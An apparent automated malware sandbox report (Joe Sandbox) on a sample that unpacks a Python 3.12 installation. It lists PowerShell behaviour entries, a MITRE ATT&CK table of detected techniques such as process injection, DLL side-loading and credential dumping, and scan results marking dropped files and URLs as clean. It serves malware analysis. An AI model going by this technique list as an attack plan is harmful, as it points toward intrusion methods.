Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.dll VolumeInformation	Jump to behavior

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 PowerShell	1 DLL Side-Loading	11 Process Injection	1 Masquerading	OS Credential Dumping	1 Security Software Discovery	Remote Services	Data from Local System	11 Non-Standard Port	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	21 Virtualization/Sandbox Evasion	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	Data from Removable Media	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	21 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	12 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	11 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact

Source	Detection	Scanner
C:\Users\user\Downloads\Python\Python312\Lib\asyncio\threads.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\asyncio\timeouts.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\asyncio\transports.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\asyncio\trsock.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\asyncio\unix_events.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\asyncio\windows_events.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\asyncio\windows_utils.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\base64.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\bdb.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\bisect.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\bz2.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\cProfile.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\calendar.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\cgi.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\cgitb.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\chunk.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\cmd.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\code.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\codecs.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\collections\__init__.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\collections\abc.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\colorsys.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\compileall.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\concurrent\futures\__init__.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\concurrent\futures\_base.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\concurrent\futures\process.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\concurrent\futures\thread.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\configparser.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\contextlib.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\contextvars.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\copy.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\copyreg.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\crypt.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\csv.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\ctypes\__init__.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\ctypes\_aix.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\ctypes\_endian.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\ctypes\macholib\__init__.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\ctypes\macholib\dyld.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\ctypes\macholib\dylib.py	0%	ReversingLabs

Source	Detection	Scanner	Label
https://bugs.python.org/issue?@action=redirect&bpo=40495	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=40010	0%	Avira URL Cloud	safe
https://github.com/python/cpython/issues/88048	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=30459	0%	Avira URL Cloud	safe
https://peps.python.org/pep-0613/	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=17005	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=41103	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=33962	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=43766	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=40257	0%	Avira URL Cloud	safe
https://peps.python.org/pep-3132/	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=41100	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=43762	0%	Avira URL Cloud	safe
https://github.com/python/cpython/blob/main/Doc/library/email.compat32-message.rst	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=7301	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=17482	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=39273	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=43760	0%	Avira URL Cloud	safe
https://github.com/python/cpython/blob/main/Doc/library/debug.rst	0%	Avira URL Cloud	safe
https://peps.python.org/pep-0612/	0%	Avira URL Cloud	safe
https://peps.python.org/pep-0614/	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=43757	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=42423	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=41334	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=43755	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=43998	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=1696199	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=41332	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=43753	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=4272	0%	Avira URL Cloud	safe
https://peps.python.org/pep-3131/	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=40241	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=6693	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=7312	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=7319	0%	Avira URL Cloud	safe
https://github.com/python/typing/issues/508	0%	Avira URL Cloud	safe
https://peps.python.org/pep-0526/	0%	Avira URL Cloud	safe
https://peps.python.org/pep-0635/	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=40479	0%	Avira URL Cloud	safe
https://docs.python.org/3/genindex-Z.html	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=32856	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=42413	0%	Avira URL Cloud	safe
https://peps.python.org/pep-0634/	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=39259	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=39011	0%	Avira URL Cloud	safe
https://www.python.org'	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=4285	0%	Avira URL Cloud	safe
https://datatracker.ietf.org/doc/html/rfc2183.html	0%	Avira URL Cloud	safe
https://docs.djangoproject.com/en/stable/topics/logging/#configuring-logging	0%	Avira URL Cloud	safe
https://docs.python.org/3/whatsnew/3.0.html	0%	Avira URL Cloud	safe
https://docs.python.org/2.2/lib/lib.html	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=40465	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=40468	0%	Avira URL Cloud	safe
https://peps.python.org/pep-0636/	0%	Avira URL Cloud	safe
https://github.com/python/cpython/blob/main/Doc/whatsnew/3.9.rst	0%	Avira URL Cloud	safe
https://github.com/python/cpython/blob/main/Doc/howto/curses.rst	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=41792	0%	Avira URL Cloud	safe
https://docs.python.org/3/library/fcntl.html	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=5381	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=5142	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=41559	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=6472	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=39489	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=6003	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=39481	0%	Avira URL Cloud	safe
https://www.tcl.tk/man/tcl8.5/TkCmd/ttk_intro.html	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=8425	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=4293	0%	Avira URL Cloud	safe
https://docs.python.org/3/library/cmath.html	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=43571	0%	Avira URL Cloud	safe
https://peps.python.org/pep-0632/	0%	Avira URL Cloud	safe
https://www.gnu.org/software/gettext/manual/gettext.html	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=6001	0%	Avira URL Cloud	safe
https://peps.python.org/pep-0523/	0%	Avira URL Cloud	safe
https://pyyaml.org/	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=20443	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=7333	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=7348	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=7347	0%	Avira URL Cloud	safe
https://github.com/python/cpython/tree/3.12/Lib/concurrent/futures/process.py	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=41139	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=21308	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=21307	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=40286	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=43799	0%	Avira URL Cloud	safe
https://docs.python.org/3/howto/pyporting.html	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=40291	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=43795	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=43797	0%	Avira URL Cloud	safe
https://docs.python.org/3/howto/curses.html	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=43794	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=4074	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=7585	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=21305	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=21306	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=21304	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=6491	0%	Avira URL Cloud	safe
http://www.oreillynet.com/meerkat/xml-rpc/server.php'	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=7357	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=6267	0%	Avira URL Cloud	safe

Name	Source	Malicious	Antivirus Detection	Reputation
https://github.com/python/cpython/issues/88048	3.10.html.6.dr, 3.9.html.6.dr	false	Avira URL Cloud: safe	unknown
https://peps.python.org/pep-0613/	3.10.html.6.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=33962	3.10.html.6.dr, 3.9.html.6.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=30459	3.10.html.6.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=40257	3.9.html.6.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=17005	3.9.html.6.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=41103	3.10.html.6.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=43766	3.10.html.6.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=40495	3.9.html.6.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=40010	3.9.html.6.dr	false	Avira URL Cloud: safe	unknown
https://peps.python.org/pep-3132/	3.0.html.6.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=43762	3.10.html.6.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=41100	3.9.html.6.dr	false	Avira URL Cloud: safe	unknown
https://github.com/python/cpython/blob/main/Doc/library/email.compat32-message.rst	email.compat32-message.html.6.dr	false	Avira URL Cloud: safe	unknown
https://peps.python.org/pep-0612/	3.10.html.6.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=17482	functools.html.6.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=39273	3.10.html.6.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=7301	2.7.html.6.dr	false	Avira URL Cloud: safe	unknown
https://github.com/python/cpython/blob/main/Doc/library/debug.rst	debug.html.6.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=43760	3.10.html.6.dr	false	Avira URL Cloud: safe	unknown
https://peps.python.org/pep-0614/	3.9.html.6.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=43757	3.10.html.6.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=43998	3.10.html.6.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=41334	3.10.html.6.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=42423	3.10.html.6.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=43755	3.9.html.6.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=1696199	2.7.html.6.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=41332	3.10.html.6.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=43753	3.10.html.6.dr	false	Avira URL Cloud: safe	unknown
https://peps.python.org/pep-3131/	3.0.html.6.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=40241	3.9.html.6.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=4272	2.7.html.6.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=6693	2.7.html.6.dr	false	Avira URL Cloud: safe	unknown
https://github.com/python/typing/issues/508	dataclasses.py.6.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=7319	2.7.html.6.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=7312	2.7.html.6.dr	false	Avira URL Cloud: safe	unknown
https://peps.python.org/pep-0635/	3.10.html.6.dr	false	Avira URL Cloud: safe	unknown
https://peps.python.org/pep-0526/	dataclasses.html.6.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=32856	3.9.html.6.dr	false	Avira URL Cloud: safe	unknown
https://docs.python.org/3/genindex-Z.html	genindex-Z.html.6.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=40479	3.9.html.6.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=42413	3.10.html.6.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=39259	3.9.html.6.dr	false	Avira URL Cloud: safe	unknown
https://peps.python.org/pep-0634/	3.10.html.6.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=4285	2.7.html.6.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=39011	3.9.html.6.dr	false	Avira URL Cloud: safe	unknown
https://www.python.org'	contextlib.html.6.dr	false	Avira URL Cloud: safe	unknown
https://datatracker.ietf.org/doc/html/rfc2183.html	email.compat32-message.html.6.dr	false	Avira URL Cloud: safe	unknown
https://docs.djangoproject.com/en/stable/topics/logging/#configuring-logging	logging-cookbook.html.6.dr	false	Avira URL Cloud: safe	unknown
https://docs.python.org/2.2/lib/lib.html	2.2.html.6.dr	false	Avira URL Cloud: safe	unknown
https://peps.python.org/pep-0636/	3.10.html.6.dr	false	Avira URL Cloud: safe	unknown
https://docs.python.org/3/whatsnew/3.0.html	3.0.html.6.dr	false	Avira URL Cloud: safe	unknown
https://docs.python.org/3/library/fcntl.html	fcntl.html.6.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=40465	3.9.html.6.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=40468	3.10.html.6.dr, 3.9.html.6.dr	false	Avira URL Cloud: safe	unknown
https://github.com/python/cpython/blob/main/Doc/howto/curses.rst	curses.html.6.dr	false	Avira URL Cloud: safe	unknown
https://github.com/python/cpython/blob/main/Doc/whatsnew/3.9.rst	3.9.html.6.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=41792	3.10.html.6.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=39489	3.9.html.6.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=5142	2.7.html.6.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=6472	2.7.html.6.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=5381	2.7.html.6.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=39481	3.9.html.6.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=41559	3.10.html.6.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=4293	2.7.html.6.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=8425	3.9.html.6.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=6003	2.7.html.6.dr	false	Avira URL Cloud: safe	unknown
https://www.tcl.tk/man/tcl8.5/TkCmd/ttk_intro.html	2.7.html.6.dr	false	Avira URL Cloud: safe	unknown
https://docs.python.org/3/library/cmath.html	cmath.html.6.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=43571	3.10.html.6.dr	false	Avira URL Cloud: safe	unknown
https://pyyaml.org/	2.7.html.6.dr	false	Avira URL Cloud: safe	unknown
https://www.gnu.org/software/gettext/manual/gettext.html	gettext.html.6.dr	false	Avira URL Cloud: safe	unknown
https://peps.python.org/pep-0632/	3.10.html.6.dr	false	Avira URL Cloud: safe	unknown
https://peps.python.org/pep-0523/	3.9.html.6.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=7333	2.7.html.6.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=20443	3.9.html.6.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=6001	2.7.html.6.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=7348	2.7.html.6.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=7347	2.7.html.6.dr	false	Avira URL Cloud: safe	unknown
https://github.com/python/cpython/tree/3.12/Lib/concurrent/futures/process.py	concurrent.futures.html.6.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=40291	3.9.html.6.dr	false	Avira URL Cloud: safe	unknown
https://docs.python.org/3/howto/pyporting.html	pyporting.html.6.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=41139	3.10.html.6.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=21307	2.7.html.6.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=43799	3.10.html.6.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=21308	2.7.html.6.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=40286	3.9.html.6.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=43797	3.10.html.6.dr	false	Avira URL Cloud: safe	unknown
https://docs.python.org/3/howto/curses.html	curses.html.6.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=43795	3.10.html.6.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=43794	3.10.html.6.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=4074	2.7.html.6.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=7585	2.7.html.6.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=21305	2.7.html.6.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=6491	2.7.html.6.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=21306	2.7.html.6.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=21304	2.7.html.6.dr	false	Avira URL Cloud: safe	unknown
http://www.oreillynet.com/meerkat/xml-rpc/server.php'	2.2.html.6.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=7357	2.7.html.6.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=6267	2.7.html.6.dr	false	Avira URL Cloud: safe	unknown

Joe Sandbox version:	40.0.0 Tourmaline
